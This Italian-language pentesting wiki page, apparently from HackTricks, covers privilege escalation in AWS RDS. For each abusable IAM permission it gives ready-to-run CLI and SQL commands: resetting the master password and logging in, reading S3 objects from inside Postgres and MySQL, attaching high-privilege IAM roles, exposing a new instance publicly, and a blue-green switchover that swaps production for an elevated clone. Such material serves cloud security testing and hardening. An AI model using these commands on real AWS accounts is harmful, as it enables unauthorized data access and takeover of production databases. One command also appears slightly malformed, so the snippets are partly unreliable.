# AWS - RDS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## RDS - Servizio di Database Relazionale

Per maggiori informazioni su RDS consulta:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:ModifyDBInstance`

Con quel permesso un attacker può **modificare la password dell'utente master**, e il login all'interno del database:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Dovrai essere in grado di **contattare il database** (sono di solito accessibili solo dall'interno delle reti).

**Impatto potenziale:** Trovare informazioni sensibili all'interno dei database.

### rds-db:connect

Secondo la [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un utente con questo permesso potrebbe connettersi all'istanza DB.

### Abuse RDS Role IAM permissions

#### Postgresql (Aurora)

> [!TIP]
> Se eseguendo **`SELECT datname FROM pg_database;`** trovi un database chiamato **`rdsadmin`**, sai di essere all'interno di un database **AWS postgresql**.

Per prima cosa puoi verificare se questo database è stato usato per accedere ad altri servizi AWS. Puoi controllare questo guardando le estensioni installate:
```sql
SELECT * FROM pg_extension;
```
Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database abbia **un qualche tipo di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**).

Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi vedere lì se il **cluster ha qualche IAM Role associato** nel campo **`AssociatedRoles`**. Se presente, puoi presumere che il database sia stato **preparato per accedere ad altri servizi AWS**. In base al **nome del role** (o se riesci a ottenere i **permessi** del role) potresti **indovinare** quale accesso aggiuntivo possiede il database.

Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```
Se avessi **raw AWS credentials** potresti anche usarle per accedere ai dati S3 con:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **non deve modificare alcuna variabile del gruppo di parametri** per poter accedere a S3.

#### Mysql (Aurora)

> [!TIP]
> All'interno di un mysql, se esegui la query **`SELECT User, Host FROM mysql.user;`** e c'è un utente chiamato **`rdsadmin`**, puoi assumere di trovarti in un **AWS RDS mysql db**.

All'interno del mysql esegui **`show variables;`** e se variabili come **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, hanno dei valori, puoi assumere che il database sia predisposto per accedere ai dati in S3.

Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare se il cluster ha un **ruolo associato**, il che solitamente significa accesso ai servizi AWS).

Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`

Un attacker con i permessi `rds:AddRoleToDBCluster` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attacker di **accedere a dati sensibili** o di modificare i dati contenuti nell'istanza.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.\
Nota che alcuni DBs richiedono configurazioni aggiuntive come Mysql, che necessita anche di specificare il role ARN negli aprameter groups.

### `rds:CreateDBInstance`

Solo con questo permesso un attacker potrebbe creare una **nuova istanza all'interno di un cluster** che già esiste e ha una **IAM role** allegata. Non sarà in grado di cambiare la password dell'utente master, ma potrebbe essere in grado di esporre la nuova istanza di database su Internet:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
```
### `rds:CreateDBInstance`, `iam:PassRole`

> [!NOTE]
> DA FARE: Testare

Un attaccante con le autorizzazioni `rds:CreateDBInstance` e `iam:PassRole` può **creare una nuova istanza RDS con un role specificato associato**. L'attaccante può poi potenzialmente **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.

> [!WARNING]
> Alcuni requisiti del role/instance-profile da associare (da [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):

> - L'instance profile deve esistere nel tuo account.
> - L'instance profile deve avere un IAM role che Amazon EC2 è autorizzato ad assumere.
> - Il nome dell'instance profile e il nome dell'IAM role associato devono iniziare con il prefisso `AWSRDSCustom`.
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.

### `rds:AddRoleToDBInstance`, `iam:PassRole`

Un attaccante con i permessi `rds:AddRoleToDBInstance` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe consentire all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.

> [!WARNING]
> L'istanza DB deve essere al di fuori di un cluster perché ciò funzioni
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.

### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`

Un attaccante con queste autorizzazioni può clonare un database di produzione (Blue), allegare al clone un ruolo IAM con privilegi elevati (Green) e poi usare lo switchover per sostituire l'ambiente di produzione. Questo permette all'attaccante di elevare i privilegi del database e ottenere accesso non autorizzato ad altre risorse AWS.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Impatto potenziale**: Controllo completo dell'ambiente di database di produzione. Dopo lo switchover, il database opera con privilegi elevati, consentendo accesso non autorizzato ad altri servizi AWS (es., S3, Lambda, Secrets Manager) dall'interno del database.

{{#include ../../../../banners/hacktricks-training.md}}
